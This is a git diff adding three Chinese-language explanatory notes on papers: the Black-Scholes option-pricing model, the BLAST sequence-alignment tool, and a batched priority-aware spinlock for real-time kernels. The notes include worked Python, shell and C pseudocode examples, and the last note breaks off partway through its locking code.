+Black & Scholes 1973（*The Pricing of Options and Corporate Liabilities*，*Journal of Political Economy* 81(3):637–654）是现代**衍生品定价**的奠基论文。它回答了一个看似朴素的问题：
+
+> 一张「到期可按约定价买入一股股票」的合约，**今天**应该卖多少钱？
+
+日常类比：你开了一家**复印店**，顾客付定金，约定三个月后能以 100 元买走店里某幅限量版画（当前市价 S 元）。版画价格天天变，但你能**随时买卖版画对冲风险**——Black-Scholes 的核心不是「猜未来股价」，而是：
+
+1. 用股票 + 现金**动态复制**这份合约的 payoff；
+2. 若市场上期权价格 ≠ 复制成本，套利者就能无风险赚钱；
+3. 因此**唯一合理的价格** = 复制组合的成本 → 闭式公式。
+
+论文标题里的 *Corporate Liabilities* 同样重要：公司债、认股权证、甚至股权，都可看成**标的为「公司资产」的期权组合**——同一套分析可算「违约应折多少价」。
+
+作者 Fischer Black（芝加哥大学）与 Myron Scholes（MIT）；Robert C. Merton 对对冲推导有重要贡献。论文 1970 年投稿、1972 年定稿，曾两次被拒，经 Fama、Miller 推动后 1973 年 5 月发表。Scholes 与 Merton 1997 年获诺贝尔经济学奖（Black 已于 1995 年去世）。
+
+## 为什么重要
+
+不理解这篇论文，下面这些事都讲不清：
+
+- 为什么期权价格**不依赖**投资者对股价涨跌的主观预期（风险中性定价）
+- 为什么做市商敢说「我 delta 对冲了」——以及 1987 股灾时对冲为何会集体失灵
+- 为什么公司债利率高于国债：不仅是信用，更是**股东持有对资产的看涨期权**，债权人承担下行
+- 为什么 VIX、隐含波动率曲面、奇异期权定价树，全都从这里的 PDE 和公式长出来
+- 为什么 Kelly 1956 谈「信息 → 财富」，Black-Scholes 谈「波动 → 期权费」——两条线后来在量化基金里汇合
+
+## 核心要点
+
+### 1. 期权术语（论文 Introduction）
+
+| 术语 | 含义 |
+|------|------|
+| **Call（看涨期权）** | 有权在到期前/到期日按行权价 K 买入标的 |
+| **European** | 仅能在到期日 T 行权（公式针对此类） |
+| **American** | 到期前任意时刻可行权（更贵，需数值方法） |
+| **Strike / Exercise price (K)** | 行权价 |
+| **Maturity (T)** | 到期日 |
+
+直觉（论文 Figure 1）：股价 S 越高，call 越值钱；S ≫ K 时 call ≈ S − 贴现后的 K；S ≪ K 时 call ≈ 0；距到期越近，时间价值越少。
+
+### 2. 无套利原则（论文开篇核心句）
+
+> If options are correctly priced in the market, it should not be possible to make sure profits by creating portfolios of long and short positions in options and their underlying stocks.
+
+即：**正确价格下，期权 + 股票的多空组合不能无风险套利**。一切推导从这里出发，而非「预测股价会涨会跌」。
+
+### 3. 「理想市场」假设
+
+论文为推导闭式解假设（后文大量实证与扩展在放松这些条件）：
+
+- 股价服从**几何布朗运动**（对数正态、常数波动率 σ）
+- **连续交易**、无摩擦（无手续费、无卖空限制、可借卖）
+- 无风险利率 r 恒定
+- 不付股息（后人有扩展）
+
+在这些假设下，期权价值 w(S, t) **只依赖**当前股价 S、时间 t 和已知常数——可构造**完美对冲组合**。
+
+### 4. Delta 对冲与复制
+
+记 w(S, t) 为 call 价值。持有一份股票、做空 ∂w/∂S 份期权（论文记为 w_x），组合价值对微小股价变动**一阶免疫**：
+
+```
+Δ_portfolio ≈ ΔS − (∂w/∂S)·ΔS ≈ 0
+```
+
+连续调整对冲比率（**delta**），组合收益应等于无风险利率——由此得到 **Black-Scholes 偏微分方程（PDE）**：
+
+```
+∂w/∂t + (1/2)σ²S² · ∂²w/∂S² + rS · ∂w/∂S − rw = 0
+```
+
+边界条件（欧式 call）：到期时 w(S, T) = max(S − K, 0)。
+
+**日常类比**：你不是在赌版画涨价，而是像**调色师**不断调整「股票 : 期权」配比，让小店账本对涨跌暂时「无感」；账本只按国债利率爬升，这个爬升率就是期权今天的公平价。
+
+### 5. Black-Scholes 闭式公式（欧式 call）
+
+令 τ = T − t 为剩余期限：
+
+```
+d₁ = [ln(S/K) + (r + σ²/2)τ] / (σ√τ)
+d₂ = d₁ − σ√τ
+
+C = S·N(d₁) − K·e^(−rτ)·N(d₂)
+```
+
+P（看跌）由 **put-call parity**：
+
+```
+P = C − S + K·e^(−rτ) = K·e^(−rτ)·N(−d₂) − S·N(−d₁)
+```
+
+N(·) 为标准正态 CDF。注意：**公式里不出现股票期望收益率 μ**——对冲消掉了风险溢价，这是论文最令人惊讶的结论之一。
+
+论文还给出了用 **CAPM** 的等价推导：期权 β 与股票 β 成比例，风险调整折现与 PDE 路径一致。
+
+### 6. 公司负债 = 期权组合
+
+论文后半部分：将**公司资产** V 视为标的，**股权** = 以 V 为标的、行权价为债务面值 D 的**看涨期权**（股东在清偿后拿走剩余）；**债权** = 无风险债 − 看跌期权（违约相当于资产不足）。因此：
+
+- 同一 σ、r 可估**信用利差**（违约风险折价）
+- 认股权证（warrant）是标准 call 的变体
+
+这为 Merton 1974 结构化信用模型等后续工作铺了路。
+
+### 7. Greeks（实践延伸，非原文重点）
+
+| Greek | 含义 | Call（直觉） |
+|-------|------|----------------|
+| **Delta** ∂C/∂S | 对冲比率 | 0→1，价内越深越大 |
+| **Gamma** ∂²C/∂S² | Delta 变化速度 | 平价附近最大 |
+| **Theta** ∂C/∂t | 时间衰减 | 通常为负 |
+| **Vega** ∂C/∂σ | 对波动率敏感 | 总是为正 |
+
+## 实践案例
+
+### 案例 1：手写 Black-Scholes 定价器
+
+```python
+import math
+
+def norm_cdf(x: float) -> float:
+    """标准正态 CDF Φ(x)"""
+    return 0.5 * (1.0 + math.erf(x / math.sqrt(2.0)))
+
+def black_scholes_call(S: float, K: float, tau: float, r: float, sigma: float) -> float:
+  """欧式看涨：S 现价, K 行权价, tau 剩余年数, r 无风险利率, sigma 波动率"""
+  if tau <= 0:
+    return max(S - K, 0.0)
+  sqrt_tau = math.sqrt(tau)
+  d1 = (math.log(S / K) + (r + 0.5 * sigma ** 2) * tau) / (sigma * sqrt_tau)
+  d2 = d1 - sigma * sqrt_tau
+  return S * norm_cdf(d1) - K * math.exp(-r * tau) * norm_cdf(d2)
+
+def black_scholes_put(S, K, tau, r, sigma):
+  c = black_scholes_call(S, K, tau, r, sigma)
+  return c - S + K * math.exp(-r * tau)  # put-call parity
+
+# 例：S=100, K=100, 3 个月, r=5%, σ=20%
+C = black_scholes_call(100, 100, 0.25, 0.05, 0.20)
+P = black_scholes_put(100, 100, 0.25, 0.05, 0.20)
+print(f"Call ≈ {C:.4f}, Put ≈ {P:.4f}")  # Call ≈ 4.62, Put ≈ 3.37
+```
+
+**读数**：平价 call 约 4.6 元——不是零，因为三个月内股价仍可能涨过 100；主要价值来自 **vega / 时间价值**。
+
+### 案例 2：离散 Delta 对冲模拟
+
+真实市场不能连续交易；下面用**每日再平衡**近似论文的连续对冲，观察复制误差：
+
+```python
+import random
+import math
+
+def simulate_gbm_path(S0, mu, sigma, days, dt=1/252):
+  """几何布朗运动路径（μ 为真实漂移，定价仍用 r）"""
+  prices = [S0]
+  for _ in range(days):
+    z = random.gauss(0, 1)
+    prices.append(prices[-1] * math.exp((mu - 0.5 * sigma**2) * dt + sigma * math.sqrt(dt) * z))
+  return prices
+
+def delta_call(S, K, tau, r, sigma):
+  if tau <= 0:
+    return 1.0 if S > K else 0.0
+  sqrt_tau = math.sqrt(tau)
+  d1 = (math.log(S / K) + (r + 0.5 * sigma**2) * tau) / (sigma * sqrt_tau)
+  return norm_cdf(d1)
+
+def delta_hedge_pnl(prices, K, r, sigma, T_years):
+  """卖 1 份 call，用股票动态对冲；看到期组合能否覆盖 payoff"""
+  cash = black_scholes_call(prices[0], K, T_years, r, sigma)  # 初始收取期权费
+  dt = 1 / 252
+  shares = 0.0
+  for i, S in enumerate(prices[:-1]):
+    tau = T_years - i * dt
+    target = delta_call(S, K, tau, r, sigma)
+    shares_needed = target  # 空头 call 需多头股票
+    cash -= (shares_needed - shares) * S
+    shares = shares_needed
+    cash *= math.exp(r * dt)
+  ST = prices[-1]
+  payoff = max(ST - K, 0.0)
+  final = cash + shares * ST - payoff
+  return final  # ≈0 说明对冲成功
+
+random.seed(0)
+path = simulate_gbm_path(S0=100, mu=0.10, sigma=0.20, days=63)
+err = delta_hedge_pnl(path, K=100, r=0.05, sigma=0.20, T_years=63/252)
+print(f"对冲残差（应接近 0）: {err:.4f}")
+```
+
+**要点**：定价用 r 和 σ，**不用真实 μ**；但对冲频率低、σ 突变、有交易成本时，残差会变大——这是模型与实务的主要裂缝。
+
+### 案例 3：股权作为「资产看涨期权」（结构化直觉）
+
+简化 Merton 视角：公司资产 V=120，债务面值 D=100，一年后到期，无风险利率 r=5%，资产波动 σ_V=25%：
+
+```python
+# 股权 = Call(V, K=D)
+E = black_scholes_call(120, 100, 1.0, 0.05, 0.25)
+# 债权价值 ≈ 贴现面值 − 看跌期权（违约损失）
+D_pv = 100 * math.exp(-0.05 * 1.0)
+P_on_assets = black_scholes_put(120, 100, 1.0, 0.05, 0.25)
+debt_value = D_pv - P_on_assets
+print(f"股权价值 ≈ {E:.2f}, 债权价值 ≈ {debt_value:.2f}, 合计 ≈ {E + debt_value:.2f}")
+```
+
+资产 V=120 时，股东「实值」看涨；债权人承担 V 跌破 100 的尾部——**信用风险即卖出看跌**。
+
+## 局限与常见误解
+
+1. **波动率非常数**：真实市场存在「波动率微笑/偏斜」，Black-Scholes 是基准，不是终局。
+2. **跳跃与厚尾**：1987、2020 等极端日，GBM 假设失效；需 Merton 跳跃扩散、随机波动率（Heston）等。
+3. **连续对冲不可行**：离散再平衡带来 **gamma 风险**；做市商靠买卖价差与库存管理存活。
+4. **μ 消失了，但 σ 成了新上帝**：σ 估错比 μ 估错更致命；实务用隐含波动率反推市场共识。
+5. **American 与股息**：提前行权、分红会改变界条件；闭式公式需修正或数值解。
+
+## 与仓库其他笔记的关系
+
+- [[kelly-criterion-1956]]：最优下注比例 vs 期权对冲——一个管「赌多少次」，一个管「连续复制」
+- 现代 ML 波动率预测、深度对冲网络，都是在**放松 GBM** 前提下重谈同一问题
+
+## 一句话总结
+
+Black-Scholes 1973 用**无套利 + 动态对冲**把期权价格写成 S、K、T、r、σ 的函数，并说明公司债与股权不过是同一套期权语言——它把金融从「凭感觉赌方向」变成了「算复制成本」的工程问题。
+
+## 延伸阅读
+
+- [Princeton 课程 PDF 镜像](https://www.cs.princeton.edu/courses/archive/fall09/cos323/papers/black_scholes73.pdf)（本笔记来源）
+- [JSTOR 正式版](https://www.jstor.org/stable/1831029)
+- Black & Scholes (1972), *Journal of Finance*：公式实证检验
+- Merton (1973)：连续时间推广与美式期权框架
+- Hull, *Options, Futures, and Other Derivatives*：教科书标准表述
diff --git a/src/content/docs/papers/blast-altschul-1990.md b/src/content/docs/papers/blast-altschul-1990.md
new file mode 100644
index 000000000..f2f39743d
--- /dev/null
+++ b/src/content/docs/papers/blast-altschul-1990.md
@@ -0,0 +1,297 @@
+---
+title: BLAST — 序列比对的「搜索引擎」
+来源: https://www.sciencedirect.com/science/article/abs/pii/S0022283605803602
+日期: 2026-06-13
+子分类: 生物信息
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象你在图书馆里找一本书，但**不知道完整书名**，只记得几句关键台词：
+
+> 「To be or not to be」
+
+如果图书馆有 30 亿本书，你不可能逐本翻开比对。聪明做法是：
+
+1. **先搜关键词**——把每本书切成固定长度的「词块」，建索引；你的台词也切成同样长度的词块，去索引里找**完全匹配**的片段（seed）。
+2. **再向两边扩展**——找到 seed 后，往前后多读几页，看上下文能不能连成一段像样的相似段落（extension）。
+3. **最后打分排序**——不是「有点像就算」，而是问：**这么像的一段，在随机乱配里出现概率有多低？** 概率越低，越可能是真亲戚。
+
+这就是 **BLAST（Basic Local Alignment Search Tool）** 干的事——只不过「书」是 DNA / 蛋白质序列，「台词」是你实验里测到的那条 read，「图书馆」是 GenBank、RefSeq 等数十亿字符的公共数据库。
+
+Altschul、Gish、Miller、Myers、Lipman 在 1990 年 *Journal of Molecular Biology* 上发表的这篇论文，把上述直觉变成了**可证明统计性质**的启发式算法，比当时同等灵敏度的工具快一个数量级，成为 1990 年代被引用最多的论文之一。
+
+## 这篇论文在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 标题 | Basic local alignment search tool |
+| 作者 | Stephen F. Altschul, Warren Gish, Webb Miller, Eugene W. Myers, David J. Lipman |
+| 发表 | *Journal of Molecular Biology*, 215(3):403–410, 1990 |
+| DOI | [10.1016/S0022-2836(05)80360-2](https://doi.org/10.1016/S0022-2836(05)80360-2) |
+| PubMed | [2231712](https://pubmed.ncbi.nlm.nih.gov/2231712/) |
+| 在线工具 | [NCBI BLAST](https://blast.ncbi.nlm.nih.gov/Blast.cgi) |
+
+论文核心贡献可以概括为三句话：
+
+1. **局部比对**：找的是两条序列里**最像的一段**（Maximal Segment Pair, MSP），而不是强迫整条序列从头到尾对齐——就像只关心「那几句台词像不像」，不要求两本书页数相同。
+2. **启发式加速**：用短词（word）命中当种子，只扩展有希望的区域，把搜索空间从「每个字符对每个字符」砍到可承受规模。
+3. **统计显著性**：Karlin–Altschul 理论给出高分片段在随机序列里出现的期望次数 **E-value**，让「像不像」变成「信不信得过」。
+
+## 为什么重要
+
+不理解 BLAST，下面这些事都没法解释：
+
+- 为什么测完一条 DNA，第一反应是「拿去 NCBI BLAST 一下」——它是分子生物学界的**默认搜索引擎**
+- 为什么论文里写 `E-value < 1e-50` 而不是「相似度 87%」——百分比不随数据库变大而调整，E-value 会
+- 为什么 [[smith-waterman]] 精确但慢、BLAST 快但启发式——工程上几乎总是先用 BLAST 筛候选，再用慢方法精修
+- 为什么宏基因组、注释基因、查同源蛋白、验证引物特异性，背后都是同一套「种子 + 扩展 + 统计」骨架
+
+从 1990 到今，BLAST 家族演化出 blastn / blastp / blastx / tblastn / PSI-BLAST / megablast 等变体，但**论文里的 MSP 定义和 E-value 框架**仍是理解一切的起点。
+
+## 核心概念
+
+### 1. 序列与字母表
+
+- **DNA**：字母表 `{A, C, G, T}`（有时含 `N` 表示未知）
+- **蛋白质**：20 种标准氨基酸 + 终止符 `*`
+
+序列就是字母串。两条序列「相关」意味着存在**局部**片段，在进化或功能上同源。
+
+### 2. 打分矩阵（Scoring Matrix）
+
+比对不是数「几个字母相同」，而是查表：
+
+| 事件 | 典型处理 |
+|------|----------|
+| 匹配（如 Leu–Leu） | +4 ~ +6（BLOSUM62） |
+| 错配 | 负数惩罚 |
+| 开 gap | 额外惩罚 + 每延长一格再罚 |
+
+常用矩阵：**BLOSUM62**（蛋白质）、**PAM** 系列、核酸的匹配/错配分（blastn 默认 +2/-3 等）。
+
+### 3. Word（词）与种子（Seed）
+
+BLAST 从查询序列抽出长度为 `w` 的连续子串列表（blastp 默认 `w=3`，blastn 默认 `w=11` 或 megablast 的 `w=28`）。
+
+数据库里**完全匹配**（或超过阈值 `T` 的近似匹配）的 word 叫 **hit / seed**。只有 seed 才触发后续昂贵的扩展。
+
+直觉：**word 越大 → 种子越少 → 越快但越容易漏远缘同源**。
+
+### 4. High-Scoring Segment Pair（HSP）
+
+从 seed 向左右**无 gap 延伸**，累加打分；分数开始下降超过阈值 `X` 就停。得到的**最高分局部无 gap 段**是一个 HSP。
+
+多个 HSP 可属于同一条数据库序列；gapped BLAST 还会在高分 HSP 上再做带 gap 的精修（类似局部 Smith–Waterman）。
+
+### 5. Two-hit 方法（1997 扩展，理解现代 BLAST 必备）
+
+原始「one-hit」：任何一个 seed 都尝试扩展——**超过 90% 时间耗在这里**。
+
+**Two-hit**：同一条对角线上，两个相距不超过距离 `A` 的 seed 都命中，才触发扩展。随机噪声里凑齐「两个近邻 seed」的概率低得多，扩展次数大约减半，速度显著提升。
+
+### 6. E-value 与 Bit Score
+
+Karlin–Altschul 公式（查询长 `m`，数据库有效长 `n`，原始分 `S`）：
+
+```
+E = K · m · n · e^(-λS)
+```
+
+- **E**：随机背景下，得分 ≥ S 的 HSP 期望出现次数
+- **K, λ**：由打分矩阵决定的常数（BLOSUM62 约 λ≈0.267, K≈0.041）
+- **E 越小越显著**；常用阈值 `E < 0.01` 或 `1e-5`
+- **Bit score** `S' = (λS - ln K) / ln 2`：与数据库大小无关，便于跨搜索比较
+
+当 `E < 0.01` 时，E-value 与 P-value（至少出现一次的概率）近似：`P ≈ 1 - e^(-E) ≈ E`。
+
+### 7. BLAST 程序族（零基础先记这五个）
+
+| 程序 | 查询 | 数据库 | 典型用途 |
+|------|------|--------|----------|
+| **blastn** | 核酸 | 核酸 | 基因定位、引物特异性 |
+| **megablast** | 核酸 | 核酸 | 近同源、大片段，word 更大更快 |
+| **blastp** | 蛋白 | 蛋白 | 找同源蛋白、功能注释 |
+| **blastx** | 核酸（6 框翻译） | 蛋白 | 新基因可能编码什么蛋白 |
+| **tblastn** | 蛋白 | 核酸（6 框翻译） | 蛋白在哪些基因组里出现 |
+
+## 算法流程（一图胜千言）
+
+```text
+查询序列 Q
+    │
+    ▼
+生成 word 列表（长度 w）
+    │
+    ▼
+在数据库索引中找 word hit ──► 无 hit → 丢弃
+    │
+    ▼
+Two-hit 过滤（可选）──► 未凑齐双 seed → 丢弃
+    │
+    ▼
+无 gap 延伸 → 得到 HSP 原始分 S
+    │
+    ▼
+S ≥ 阈值？──否──► 丢弃
+    │
+    ▼
+（可选）Gapped 精修
+    │
+    ▼
+计算 bit score、E-value → 排序输出
+```
+
+## 实践案例
+
+### 案例 1：命令行 blastn——把一条基因扔进水母基因组
+
+假设你有一条来自模式生物的基因序列 `gene.fa`，想查它在 *Hydra* 基因组里有没有同源拷贝：
+
+```bash
+# 需本地安装 NCBI BLAST+（brew install blast 或 conda install blast）
+makeblastdb -in hydra_genome.fa -dbtype nucl -out hydra_db
+
+blastn \
+  -query gene.fa \
+  -db hydra_db \
+  -outfmt "6 qseqid sseqid pident length evalue bitscore" \
+  -evalue 1e-5 \
+  -word_size 11 \
+  -max_target_seqs 10
+```
+
+`-outfmt 6` 输出制表符分隔字段，便于管道进 `awk` / R / Python。关注列：
+
+- **pident**：相同碱基百分比（启发式延伸结果，不是全局定义）
+- **evalue**：统计显著性——比 pident 更该用来决定「算不算同源」
+- **bitscore**：与数据库大小无关的强弱分
+
+若近缘物种、序列很长且几乎相同，可换 **megablast**（`-task megablast`，默认 `word_size=28`）换速度。
+
+### 案例 2：Python 调 NCBI 远程 BLAST（不写本地数据库）
+
+适合快速验证、序列不长、能接受排队：
+
+```python
+from Bio.Blast import NCBIWWW, NCBIXML
+from io import StringIO
+
+query = (
+    "ATGAAAGAATTGAAAGAAGAAGGTGAAGAAGATGATGATGAA"
+    "GAAGGTGAAGAAGAAGAAGAAGAAGAAGAAGAAGAAGAAGAA"
+)
+
+result_handle = NCBIWWW.qblast(
+    program="blastn",
+    database="nt",          # 核酸非冗余库，实际很大
+    sequence=query,
+    expect=0.001,
+    word_size=11,
+)
+
+blast_record = NCBIXML.read(result_handle)
+
+for alignment in blast_record.alignments[:5]:
+    hsp = alignment.hsps[0]
+    print(alignment.title[:60])
+    print(f"  E-value={hsp.expect:.2e}  bit_score={hsp.bits:.1f}  identity={hsp.identities}/{hsp.align_length}")
+```
+
+`Bio.Blast` 来自 [Biopython](https://biopython.org/)。远程 BLAST 有频率限制；生产管线应下载数据库 + 本地 `blastn`。
+
+### 案例 3：手算 E-value——理解「数据库越大，同样分数越不可信」
+
+下面用 BLOSUM62 的典型 λ、K 做**数量级直觉**（非替代 BLAST 内置统计）：
+
+```python
+import math
+
+def e_value(raw_score: float, m: int, n: int, K: float = 0.041, lam: float = 0.267) -> float:
+    """期望随机命中次数。m=查询长，n=数据库有效搜索空间长度。"""
+    return K * m * n * math.exp(-lam * raw_score)
+
+def bit_score(raw_score: float, K: float = 0.041, lam: float = 0.267) -> float:
+    return (lam * raw_score - math.log(K)) / math.log(2)
+
+S = 85          # 假设某次 HSP 原始分
+m, n = 400, 3e9 # 400 bp 查询，30 亿字母数据库
+
+print(f"E = {e_value(S, m, n):.2e}")      # 很小 → 显著
+print(f"bit = {bit_score(S):.1f}")
+
+# 数据库扩大 1000 倍，同样 S，E 也扩大 1000 倍
+print(f"E (n×1000) = {e_value(S, m, n * 1000):.2e}")
+```
+
+这就是为什么同一条比对，在小数据库里 `E=1e-10`，换全库 nt 可能变成 `E=0.1`——**不是序列变了，是「抽奖次数」变多了**。Bit score 不变，因为它吃掉了 `m、n` 的影响。
+
+### 案例 4：word_size 与敏感度的权衡
+
+```bash
+# 远缘同源、短序列：较小 word，更慢更敏感
+blastn -query short_read.fa -db nr_db -word_size 7 -evalue 1e-3
+
+# 近缘、查基因是否在该物种基因组：大 word，快
+blastn -query gene.fa -db target_genome -task megablast -word_size 28
+```
+
+经验法则：**word_size 必须小于查询长度的一半**，否则合法 hit 可能被漏掉。
+
+## 踩过的坑
+
+1. **只看 % identity 不看 E-value**——短序列上 95% identity 仍可能 E 很大（随机也能凑出来）；长序列上 70% identity 可以极显著。
+
+2. **把 E-value 当概率**——E 是**期望次数**；P(至少一次) = 1 - e^(-E)。E=10 不代表「10% 概率」，而是「随机期望出现 10 次」。
+
+3. **不同数据库结果不可直接比 E-value**——跨库请比 **bit score**；同一 bit score，库越大 E 越大。
+
+4. **局部比对 ≠ 全序列同源**——一个蛋白结构域能撞出高分 HSP，整条基因未必同源；要读比对示意图，别只扫表格。
+
+5. **低复杂度 / 重复序列**——poly-A、转座子 repeat 会产生大量假阳性；可用 `dust`（核酸）或 `seg`（蛋白）过滤，或调 `-soft_masking`。
+
+6. **blastx / tblastn 的阅读框**——核酸翻译有 6 个阅读框，计算量比 blastp 大；查询太短则统计无力。
+
+7. **远程 BLAST 与本地版本参数默认值可能不同**——复现论文结果时记录 `blastn -version` 和完整参数。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 在公共库中找同源基因 / 蛋白（注释、进化分析）
+- 验证测序 read 污染、引物非特异扩增
+- 快速筛选候选，再交给 [[smith-waterman]]、HMMER、AlphaFold 等做精细分析
+- 教学演示：序列相似性 + 假设检验直觉
+
+**不适用**：
+
+- 需要**全局**最优比对且序列很长——用 Needleman–Wunsch 全局比对或 minimap2 等
+- 结构比对、RNA 二级结构——用专门工具（Foldseek、Infernal）
+- 超远缘、低于 twilight zone（~20–30% aa identity）——PSI-BLAST、HHblits、Jackhmmer 迭代搜库
+- 实时超长读长映射（PacBio/ONT）——minimap2、Winnowmap 等索引结构完全不同
+
+## 与相关工作的关系
+
+```text
+动态规划精确比对          启发式数据库搜索
+─────────────────────────────────────────────
+Needleman–Wunsch (全局)     BLAST (局部, 1990)  ← 本篇
+Smith–Waterman (局部)       FASTA (1988, 不同种子策略)
+                            PSI-BLAST (1997, 迭代 profile)
+                            DIAMOND (蛋白, 比 BLAST 更快数量级)
+```
+
+BLAST 不是「发明了序列比对」——Smith–Waterman (1981) 等早已给出最优局部比对动态规划。BLAST 的贡献是：**在几乎不牺牲实用灵敏度的前提下，把数据库搜索做成生物学家每天能点一下网页就用的速度**，并配上严格可解释的 E-value。
+
+## 延伸阅读
+
+- [NCBI BLAST 教程：相似性分数统计](https://www.ncbi.nlm.nih.gov/blast/tutorial/Altschul-1.html)
+- [Nature Scitable：BLAST 入门](https://www.nature.com/scitable/topicpage/basic-local-alignment-search-tool-blast-29096/)
+- Altschul S.F. et al. (1997) Gapped BLAST and PSI-BLAST — 引入 two-hit 与迭代搜索
+- Karlin S., Altschul S.F. (1990) Methods for assessing the statistical significance of molecular sequence features — E-value 理论根基
+
+## 一句话总结
+
+**BLAST 把「在几十亿字母里找亲戚」变成：先用短词命中当地震预警，再延伸成高分片段，最后用 E-value 告诉你——这到底是进化上的亲戚，还是随机撞衫。**
diff --git a/src/content/docs/papers/bounded-priority-aware-locking-for-real-time-kernels-arxiv-2605-27620.md b/src/content/docs/papers/bounded-priority-aware-locking-for-real-time-kernels-arxiv-2605-27620.md
new file mode 100644
index 000000000..ad7a9d6d1
--- /dev/null
+++ b/src/content/docs/papers/bounded-priority-aware-locking-for-real-time-kernels-arxiv-2605-27620.md
@@ -0,0 +1,263 @@
+---
+title: Bounded Priority-Aware Locking for Real-Time Kernels
+来源: https://arxiv.org/abs/2605.27620
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+provenance: pipeline-v3
+---
+
+# Bounded Priority-Aware Locking for Real-Time Kernels
+
+## 一、一个日常类比
+
+想象你走进一个只有一扇门的会议室。门上有规则：一次只能进一个人，进去的人关上门开完会才能出来。这就是"锁"。
+
+现在假设进来的人分三种：急症病人（高优先级）、普通病人（中优先级）、体检的人（低优先级）。
+
+如果规则是"先到先进"（FIFO），那么一个低优先级的人抢在高优先级病人前面进门，高优先级病人就要多等一轮——这就是"优先级反转"。
+
+如果规则是"谁急谁先"（Strict Priority），那所有低优先级的人都永远进不去——这就是"饥饿"。
+
+BPL 方案说：我们把来的人分批次。同一批进来的人里，按紧急程度排；但先到的批次，比后到的批次优先。这样既照顾了紧急程度，又不会让谁饿死。
+
+## 二、核心问题：实时系统中的锁
+
+### 2.1 什么是实时系统
+
+实时系统不是"越快越好"，而是"必须在截止时间前完成"。比如飞行控制、汽车刹车——错过了截止时间，后果严重。
+
+### 2.2 多核时代的共享资源问题
+
+现代实时系统通常有多个 CPU 核心。多个核心上的程序可能同时需要访问同一个共享资源（比如操作系统的内核数据）。为了保证安全，需要用锁来序列化访问。
+
+关键挑战有两个：
+
+1. **等待时间必须有上限**。系统需要知道"最坏情况下我等多久"，才能证明所有任务都能在截止时间前完成。
+2. **高优先级任务不应该被低优先级任务无谓地拖慢**。
+
+### 2.3 三种锁的对比
+
+| 锁类型 | 高优先级任务等待 | 低优先级任务等待 | 等待时间有上限？ |
+|---|---|---|---|
+| 简单自旋锁 | 不确定，可能很长 | 不确定，可能很短 | 理论上有，但不考虑优先级 |
+| FIFO 锁 | 和所有人一样 | 和所有人一样 | 有（m-1 轮临界区长度） |
+| 严格优先级锁 | 最短 | 可能被饿死 | 没有（可能无限等） |
+| **BPL** | 比普通 FIFO 短 | 有保证不会饿死 | 有（和 FIFO 一样的上限） |
+
+## 三、BPL 的核心设计
+
+BPL（Batched Priority Lock）分四个阶段让等待中的任务竞争锁：
+
+**阶段 0（批处理）**：每个新来的任务获得一个批次号。最早到达的那个批次（批次号最小的）晋级到下一阶段。
+
+**阶段 1（优先级排序）**：同一批次内，所有任务竞争，找出优先级最高的那个。
+
+**最终阶段（自旋）**：批次号和优先级都确定后，任务用传统自旋锁竞争实际访问。
+
+### 3.1 BPL 锁对象的内部状态
+
+一个 BPL 锁维护以下几个关键状态：
+
+- `num_waiters`：当前在等待的任务数量
+- `curr_batch`：一个复合值，高几位是批次号，低几位是当前批次中有多少等待者
+- `batch_barrier`：阶段 0 的"门控值"，记录最早到达的批次号
+- `priority_barrier`：阶段 1 的"门控值"，记录当前批次中最高的优先级
+- `settling`：一个位图数组，标记每个核心上的任务在哪个阶段
+- `status`：锁是否被持有的标志
+
+### 3.2 代码示例 1：加锁流程
+
+下面用伪代码展示 BPL 的核心加锁逻辑。这个实现依赖于硬件提供的原子操作：CAS（比较并交换）、TAS（测试并设置）、FAA（获取并增加）。
+
+```c
+// BPL 锁对象的内存布局
+struct bpl {
+    uint32_t num_waiters;     // 当前等待者数量
+    uint32_t curr_batch;      // 批次号 + 批次内计数（合并在一个整数中）
+    uint32_t batch_barrier;   // 阶段 0 门控：最早批次号
+    uint32_t priority_barrier;// 阶段 1 门控：最高优先级
+    uint64_t settling[2];     // 位图：标记各核心在哪个阶段
+    uint8_t  status;          // 0 = 空闲, 1 = 被持有
+};
+
+// 加锁函数
+void bpl_lock(struct bpl *lock, uint32_t task_priority, int core_id) {
+    // ---- 快速路径：没人等的时候直接拿到锁 ----
+    if (lock->num_waiters == 0) {
+        // 尝试把 curr_batch 清零，说明锁完全空闲了
+        if (CAS(&lock->curr_batch, old, 0)) {
+            // 用 TAS 尝试获取锁，成功就直接进入临界区
+            if (!TAS(&lock->status)) {
+                return; // 拿到了！
+            }
+        }
+    }
+
+    // ---- 有人竞争：进入正式流程 ----
+
+    // 1. 增加等待者计数
+    INC(&lock->num_waiters);
+
+    // 2. 获取批次号：FAA 原子地增加 curr_batch 并返回旧值
+    //    右移 k 位得到批次号（低 k 位是批次内计数）
+    uint32_t batch = FAA(&lock->curr_batch, 1) >> k;
+
+    // 3. 阶段 0：批处理 —— 只有最早到达的批次能通过
+    SET(&lock->settling[0], core_id); // 标记自己在阶段 0
+
+    read_batch_barrier:
+    uint32_t prev = lock->batch_barrier;
+    if (batch <= prev) {
+        // 自己的批次号 <= 当前门控批次号，尝试成为新的门控
+        if (CAS(&lock->batch_barrier, prev, batch)) {
+            RESET(&lock->settling[0], core_id); // 晋级，清除标记
+            goto stage_1;
+        }
+    } else {
+        // 有人批次号更早，等等再试
+        goto read_batch_barrier;
+    }
+
+    // 如果 batch > batch_barrier，说明自己不是最早的一批，
+    // 等当前批次的人都到齐后再试
+    RESET(&lock->settling[0], core_id);
+    while (lock->settling[0] != 0) {
+        if (lock->batch_barrier != batch) {
+            goto read_batch_barrier; // 批次变了，重新排队
+        }
+    }
+
+    // 4. 阶段 1：优先级排序 —— 同一批次里，最高优先级的通过
+    stage_1:
+    SET(&lock->settling[1], core_id); // 标记自己在阶段 1
+
+    read_priority_barrier:
+    prev = lock->priority_barrier;
+    if (lock->batch_barrier != batch) {
+        // 批次号变了，重新排队
+        STORE(&lock->priority_barrier, 0xFFFFFFFF);
+        RESET(&lock->settling[1], core_id);
+        goto stage_0;
+    }
+
+    // 数值越小 = 优先级越高，所以尝试把自己的优先级"压低"
+    if (task_priority <= prev) {
+        if (CAS(&lock->priority_barrier, prev, task_priority)) {
+            RESET(&lock->settling[1], core_id); // 晋级，清除标记
+            goto final_stage;
+        }
+    } else {
+        goto read_priority_barrier;
+    }
+
+    RESET(&lock->settling[1], core_id);
+    while (lock->settling[1] != 0) {
